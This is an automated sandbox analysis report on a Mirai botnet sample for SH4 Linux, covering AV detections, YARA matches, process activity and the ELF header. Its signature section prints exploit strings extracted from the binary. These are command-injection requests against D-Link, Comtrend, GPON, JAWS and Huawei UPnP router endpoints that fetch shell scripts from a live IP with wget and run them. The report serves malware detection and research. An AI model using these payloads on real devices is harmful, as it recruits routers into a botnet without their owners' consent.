Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
MUuRNNXESN

Overview

General Information

Sample Name:MUuRNNXESN
Analysis ID:679632
MD5:99edb6a756fdffce917217e1b5804ddf
SHA1:22d88f2e2e1e19e78fda1a4963d74117c1a076c2
SHA256:53daedfc1abe3477c33ecdedb8a8243fabcd5e5bb6bff55e8da14dc75fdc7efb
Tags:32elfmirairenesas
Infos:

Detection

Mirai
Score:64
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Yara detected Mirai
Multi AV Scanner detection for submitted file
Yara signature match
Sample contains strings that are potentially command strings
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)
Enumerates processes within the "proc" file system
Sample listens on a socket
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.
Joe Sandbox Version:35.0.0 Citrine
Analysis ID:679632
Start date and time: 06/08/202207:35:372022-08-06 07:35:37 +02:00
Joe Sandbox Product:CloudBasic
Overall analysis duration:0h 5m 17s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:MUuRNNXESN
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Detection:MAL
Classification:mal64.troj.lin@0/0@0/0
  • VT rate limit hit for: http://46.23.109.47/Cloud/Cloud.mpsl;chmod
Command:/tmp/MUuRNNXESN
PID:6230
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
Connected To CNC
Standard Error:
  • system is lnxubuntu20
  • cleanup
SourceRuleDescriptionAuthorStrings
MUuRNNXESNSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
  • 0x19f38:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x19fa8:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1a018:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1a088:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1a0f8:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1a368:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1a3bc:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1a410:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1a464:$xo1: oMXKNNC\x0D\x17\x0C\x12
  • 0x1a4b8:$xo1: oMXKNNC\x0D\x17\x0C\x12
MUuRNNXESNJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    6230.1.00007f4db442c000.00007f4db442d000.rw-.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
    • 0x584:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x5f8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x66c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x6e0:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x754:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x9d4:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xa2c:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xa84:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xadc:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0xb34:$xo1: oMXKNNC\x0D\x17\x0C\x12
    6233.1.00007f4db4400000.00007f4db441b000.r-x.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
    • 0x19f38:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x19fa8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1a018:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1a088:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1a0f8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1a368:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1a3bc:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1a410:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1a464:$xo1: oMXKNNC\x0D\x17\x0C\x12
    • 0x1a4b8:$xo1: oMXKNNC\x0D\x17\x0C\x12
    6233.1.00007f4db4400000.00007f4db441b000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      6230.1.00007f4db4400000.00007f4db441b000.r-x.sdmpSUSP_XORed_MozillaDetects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.Florian Roth
      • 0x19f38:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x19fa8:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1a018:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1a088:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1a0f8:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1a368:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1a3bc:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1a410:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1a464:$xo1: oMXKNNC\x0D\x17\x0C\x12
      • 0x1a4b8:$xo1: oMXKNNC\x0D\x17\x0C\x12
      6230.1.00007f4db4400000.00007f4db441b000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
        Click to see the 1 entries
        No Snort rule has matched

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Source: MUuRNNXESNAvira: detected
        Source: MUuRNNXESNVirustotal: Detection: 50%Perma Link
        Source: MUuRNNXESNReversingLabs: Detection: 52%
        Source: /tmp/MUuRNNXESN (PID: 6230)Socket: 127.0.0.1::44455Jump to behavior
        Source: MUuRNNXESNString found in binary or memory: http://0.0.0.0/Cloud/Cloud.x86
        Source: MUuRNNXESNString found in binary or memory: http://46.23.109.47/Cloud/Cloud.mips;
        Source: MUuRNNXESNString found in binary or memory: http://46.23.109.47/Cloud/Cloud.mpsl;chmod
        Source: MUuRNNXESNString found in binary or memory: http://46.23.109.47/Cloud/Cloud.x86
        Source: MUuRNNXESNString found in binary or memory: http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114
        Source: MUuRNNXESNString found in binary or memory: http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$
        Source: MUuRNNXESNString found in binary or memory: http://46.23.109.47/Cloud/Gpon.sh
        Source: MUuRNNXESNString found in binary or memory: http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI
        Source: MUuRNNXESNString found in binary or memory: http://purenetworks.com/HNAP1/
        Source: MUuRNNXESNString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
        Source: MUuRNNXESNString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
        Source: MUuRNNXESN, type: SAMPLEMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
        Source: 6230.1.00007f4db442c000.00007f4db442d000.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
        Source: 6233.1.00007f4db4400000.00007f4db441b000.r-x.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
        Source: 6230.1.00007f4db4400000.00007f4db441b000.r-x.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
        Source: 6233.1.00007f4db442c000.00007f4db442d000.rw-.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
        Source: Initial samplePotential command found: GET /ping.cgi?pingIpAddress=google.fr;wget%20http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114'$ HTTP/1.1
        Source: Initial samplePotential command found: GET /login.cgi?cli=aa%20aa%27;wget%20http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1
        Source: Initial samplePotential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+46.23.109.47/Cloud/Jaws.sh;chmod+777+*;sh+Jaws.sh HTTP/1.1
        Source: Initial samplePotential command found: GET /boaform/admin/formPing?target_addr=;wget%20http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1
        Source: Initial samplePotential command found: GET /index.php?s=/index/hink
        Source: ELF static info symbol of initial sample.symtab present: no
        Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+vaicalon;chmod+777+*;sh+vaicalon`&ipv=0
        Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+anngu;chmod+777+*;sh+anngu`&ipv=0
        Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://46.23.109.47/Cloud/Cloud.mips; chmod 777 Cloud.mips; ./Cloud.mips Cloud.Huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
        Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+vaicalon;chmod+777+*;sh+vaicalon`&ipv=0POST /GponForm/diag_Form?images/ HTTP/1.1
        Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+anngu;chmod+777+*;sh+anngu`&ipv=0POST /HNAP1/ HTTP/1.0
        Source: classification engineClassification label: mal64.troj.lin@0/0@0/0
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/6235/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1582/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/2033/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/2275/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/3088/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/6191/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/6192/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1612/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1579/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1699/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1335/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1698/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/2028/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1334/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1576/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/2302/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/3236/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/2025/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/2146/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/910/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/912/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/517/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/759/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/2307/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/918/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/6241/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/6243/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/6245/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/6247/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/6246/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1594/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/2285/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/2281/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1349/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1623/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/761/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1622/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/884/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1983/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/2038/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1344/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1465/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1586/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1463/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/2156/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/800/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/6238/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/801/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1629/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/6239/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1627/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1900/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/4470/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/6254/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/6253/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/6256/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/6255/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/4354/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/3021/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/491/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/2294/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/2050/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1877/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/772/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1633/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1599/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1632/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/774/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1477/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/654/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/896/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1476/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1872/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/2048/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/655/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1475/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/2289/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/656/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/777/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/657/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/658/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/4467/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/6248/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/4468/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/4469/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/419/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/936/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1639/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/4503/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1638/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/2208/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/2180/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/6263/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/6264/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1809/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1494/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1890/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/2063/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/2062/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/6261/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1888/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1886/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/420/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/1489/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6232)File opened: /proc/785/exeJump to behavior
        Source: /tmp/MUuRNNXESN (PID: 6230)Queries kernel information via 'uname': Jump to behavior
        Source: MUuRNNXESN, 6230.1.00007ffe4dbd5000.00007ffe4dbf6000.rw-.sdmp, MUuRNNXESN, 6233.1.00007ffe4dbd5000.00007ffe4dbf6000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-sh4/tmp/MUuRNNXESNSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/MUuRNNXESN
        Source: MUuRNNXESN, 6230.1.00007ffe4dbd5000.00007ffe4dbf6000.rw-.sdmp, MUuRNNXESN, 6233.1.00007ffe4dbd5000.00007ffe4dbf6000.rw-.sdmpBinary or memory string: /usr/bin/qemu-sh4
        Source: MUuRNNXESN, 6230.1.000055ec0c78c000.000055ec0c7ef000.rw-.sdmp, MUuRNNXESN, 6233.1.000055ec0c78c000.000055ec0c7ef000.rw-.sdmpBinary or memory string: U5!/etc/qemu-binfmt/sh4
        Source: MUuRNNXESN, 6230.1.000055ec0c78c000.000055ec0c7ef000.rw-.sdmp, MUuRNNXESN, 6233.1.000055ec0c78c000.000055ec0c7ef000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/sh4

        Stealing of Sensitive Information

        barindex
        Source: Yara matchFile source: MUuRNNXESN, type: SAMPLE
        Source: Yara matchFile source: 6233.1.00007f4db4400000.00007f4db441b000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: 6230.1.00007f4db4400000.00007f4db441b000.r-x.sdmp, type: MEMORY

        Remote Access Functionality

        barindex
        Source: Yara matchFile source: MUuRNNXESN, type: SAMPLE
        Source: Yara matchFile source: 6233.1.00007f4db4400000.00007f4db441b000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: 6230.1.00007f4db4400000.00007f4db441b000.r-x.sdmp, type: MEMORY
        Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
        Valid Accounts1
        Command and Scripting Interpreter
        Path InterceptionPath InterceptionDirect Volume Access1
        OS Credential Dumping
        11
        Security Software Discovery
        Remote ServicesData from Local SystemExfiltration Over Other Network MediumData ObfuscationEavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
        No configs have been found
        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        behaviorgraph top1 signatures2 2 Behavior Graph ID: 679632 Sample: MUuRNNXESN Startdate: 06/08/2022 Architecture: LINUX Score: 64 23 Antivirus / Scanner detection for submitted sample 2->23 25 Multi AV Scanner detection for submitted file 2->25 27 Yara detected Mirai 2->27 7 MUuRNNXESN 2->7         started        process3 process4 9 MUuRNNXESN 7->9         started        11 MUuRNNXESN 7->11         started        13 MUuRNNXESN 7->13         started        process5 15 MUuRNNXESN 9->15         started        17 MUuRNNXESN 9->17         started        19 MUuRNNXESN 9->19         started        21 11 other processes 9->21
        SourceDetectionScannerLabelLink
        MUuRNNXESN51%VirustotalBrowse
        MUuRNNXESN52%ReversingLabsLinux.Trojan.Mirai
        MUuRNNXESN100%AviraLINUX/Mirai.bonb
        No Antivirus matches
        No Antivirus matches
        SourceDetectionScannerLabelLink
        http://46.23.109.47/Cloud/Gpon.sh19%VirustotalBrowse
        http://46.23.109.47/Cloud/Gpon.sh100%Avira URL Cloudmalware
        http://46.23.109.47/Cloud/Cloud.x8618%VirustotalBrowse
        http://46.23.109.47/Cloud/Cloud.x86100%Avira URL Cloudmalware
        http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114100%Avira URL Cloudmalware
        http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI100%Avira URL Cloudmalware
        http://46.23.109.47/Cloud/Cloud.mpsl;chmod100%Avira URL Cloudmalware
        http://46.23.109.47/Cloud/Cloud.mips;100%Avira URL Cloudmalware
        http://purenetworks.com/HNAP1/0%URL Reputationsafe
        http://0.0.0.0/Cloud/Cloud.x860%Avira URL Cloudsafe
        http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$100%Avira URL Cloudmalware
        No contacted domains info
        NameSourceMaliciousAntivirus DetectionReputation
        http://46.23.109.47/Cloud/Gpon.shMUuRNNXESNtrue
        • 19%, Virustotal, Browse
        • Avira URL Cloud: malware
        unknown
        http://46.23.109.47/Cloud/Cloud.x86MUuRNNXESNtrue
        • 18%, Virustotal, Browse
        • Avira URL Cloud: malware
        unknown
        http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114MUuRNNXESNtrue
        • Avira URL Cloud: malware
        unknown
        http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VIMUuRNNXESNtrue
        • Avira URL Cloud: malware
        unknown
        http://schemas.xmlsoap.org/soap/encoding/MUuRNNXESNfalse
          high
          http://46.23.109.47/Cloud/Cloud.mpsl;chmodMUuRNNXESNtrue
          • Avira URL Cloud: malware
          unknown
          http://46.23.109.47/Cloud/Cloud.mips;MUuRNNXESNtrue
          • Avira URL Cloud: malware
          unknown
          http://purenetworks.com/HNAP1/MUuRNNXESNfalse
          • URL Reputation: safe
          unknown
          http://0.0.0.0/Cloud/Cloud.x86MUuRNNXESNfalse
          • Avira URL Cloud: safe
          unknown
          http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$MUuRNNXESNtrue
          • Avira URL Cloud: malware
          unknown
          http://schemas.xmlsoap.org/soap/envelope/MUuRNNXESNfalse
            high
            No contacted IP infos
            No context
            No context
            No context
            No context
            No context
            No created / dropped files found
            File type:ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
            Entropy (8bit):6.842017488315144
            TrID:
            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
            File name:MUuRNNXESN
            File size:111724
            MD5:99edb6a756fdffce917217e1b5804ddf
            SHA1:22d88f2e2e1e19e78fda1a4963d74117c1a076c2
            SHA256:53daedfc1abe3477c33ecdedb8a8243fabcd5e5bb6bff55e8da14dc75fdc7efb
            SHA512:439cbbf92451d89ddf4ace00b958137d33a15a946be07bdea2e963d8347c02ffb93c4d4749d8d4a3a982958d156a647371db292f6766eea8f66c265183e635a0
            SSDEEP:1536:XYaPcU+0/umiqAL6s179culEl0zGGytofs34S6E/ZjJjuJtmGtICkgEy2R:IgcUp2mn7s179cuAOf+4zEfjuJtmGtI
            TLSH:68B39E21D0E0EDE4C2604634B2E1E93EC336DD0874972DF6F645CA99504BED8F5A93BA
            File Content Preview:.ELF..............*.......@.4...........4. ...(...............@...@...........................B...B.................Q.td............................././"O.n........#.*@........#.*@.....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

            ELF header

            Class:ELF32
            Data:2's complement, little endian
            Version:1 (current)
            Machine:<unknown>
            Version Number:0x1
            Type:EXEC (Executable file)
            OS/ABI:UNIX - System V
            ABI Version:0
            Entry Point Address:0x4001a0
            Flags:0x9
            ELF Header Size:52
            Program Header Offset:52
            Program Header Size:32
